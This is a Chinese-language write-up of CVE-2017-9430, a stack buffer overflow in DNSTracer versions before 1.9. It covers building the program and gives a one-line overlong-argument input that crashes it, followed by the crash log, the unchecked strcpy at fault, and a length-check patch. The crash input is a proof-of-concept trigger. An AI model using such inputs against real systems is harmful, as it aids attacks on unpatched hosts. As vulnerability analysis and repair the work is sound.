CVE-2017-9430

  • 影响程序:DNSTracer < 1.9

  • 漏洞类型:栈缓冲区溢出

  • 产生原因:strcpy 前未作长度检查

漏洞复现

首先编译安装 DNSTracer:

1
2
3
4
5
$ wget http://www.mavetju.org/download/dnstracer-1.9.tar.gz
$ tar zxvf dnstracer-1.9.tar.gz
$ cd dnstracer-1.9
$ ./confugure
$ make && sudo make install

传入一段超长的字符串作为参数即可触发栈溢出:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
$ dnstracer -v $(python -c 'print "A"*1025')
*** buffer overflow detected ***: dnstracer terminated
======= Backtrace: =========
/lib/i386-linux-gnu/libc.so.6(+0x67377)[0xb757f377]
/lib/i386-linux-gnu/libc.so.6(__fortify_fail+0x68)[0xb760f6b8]
/lib/i386-linux-gnu/libc.so.6(+0xf58a8)[0xb760d8a8]
/lib/i386-linux-gnu/libc.so.6(+0xf4e9f)[0xb760ce9f]
dnstracer[0x8048f26]
/lib/i386-linux-gnu/libc.so.6(__libc_start_main+0xf7)[0xb7530637]
dnstracer[0x804920a]
======= Memory map: ========
08048000-0804e000 r-xp 00000000 08:01 270483 /usr/local/bin/dnstracer
0804f000-08050000 r--p 00006000 08:01 270483 /usr/local/bin/dnstracer
08050000-08051000 rw-p 00007000 08:01 270483 /usr/local/bin/dnstracer
08051000-08053000 rw-p 00000000 00:00 0
084b6000-084d7000 rw-p 00000000 00:00 0 [heap]
b74e4000-b7500000 r-xp 00000000 08:01 394789 /lib/i386-linux-gnu/libgcc_s.so.1
b7500000-b7501000 rw-p 0001b000 08:01 394789 /lib/i386-linux-gnu/libgcc_s.so.1
b7518000-b76c8000 r-xp 00000000 08:01 394751 /lib/i386-linux-gnu/libc-2.23.so
b76c8000-b76ca000 r--p 001af000 08:01 394751 /lib/i386-linux-gnu/libc-2.23.so
b76ca000-b76cb000 rw-p 001b1000 08:01 394751 /lib/i386-linux-gnu/libc-2.23.so
b76cb000-b76ce000 rw-p 00000000 00:00 0
b76e4000-b76e7000 rw-p 00000000 00:00 0
b76e7000-b76e9000 r--p 00000000 00:00 0 [vvar]
b76e9000-b76eb000 r-xp 00000000 00:00 0 [vdso]
b76eb000-b770d000 r-xp 00000000 08:01 394723 /lib/i386-linux-gnu/ld-2.23.so
b770d000-b770e000 rw-p 00000000 00:00 0
b770e000-b770f000 r--p 00022000 08:01 394723 /lib/i386-linux-gnu/ld-2.23.so
b770f000-b7710000 rw-p 00023000 08:01 394723 /lib/i386-linux-gnu/ld-2.23.so
bf8e5000-bf907000 rw-p 00000000 00:00 0 [stack]
Aborted (core dumped)

漏洞分析

漏洞原因:把参数 argv[0] 复制到数组 argv0 的时候没有做长度检查,如果大于 1024 字节,就会导致栈溢出:

1
2
3
4
// dnstracer_broker.h
#ifndef NS_MAXDNAME
#define NS_MAXDNAME 1024
#endif
1
2
3
4
5
6
7
8
9
// dnstracer.c
int main(int argc, char **argv)
{
[...]
char argv0[NS_MAXDNAME];
[...]
strcpy(argv0, argv[0]);
[...]
}

漏洞修复

要修这个漏洞的话,在调用 strcpy() 前加上对参数长度的检查就可以了:

1
2
3
4
5
6
7
8
9
10
11
/*CVE-2017-9430 Fix*/
if(strlen(argv[0]) >= NS_MAXDNAME)
{
free(server_ip);
free(server_name);
fprintf(stderr, "dnstracer: argument is too long %s\n", argv[0]);
return 1;
}

// check for a trailing dot
strcpy(argv0, argv[0]);
⬆︎TOP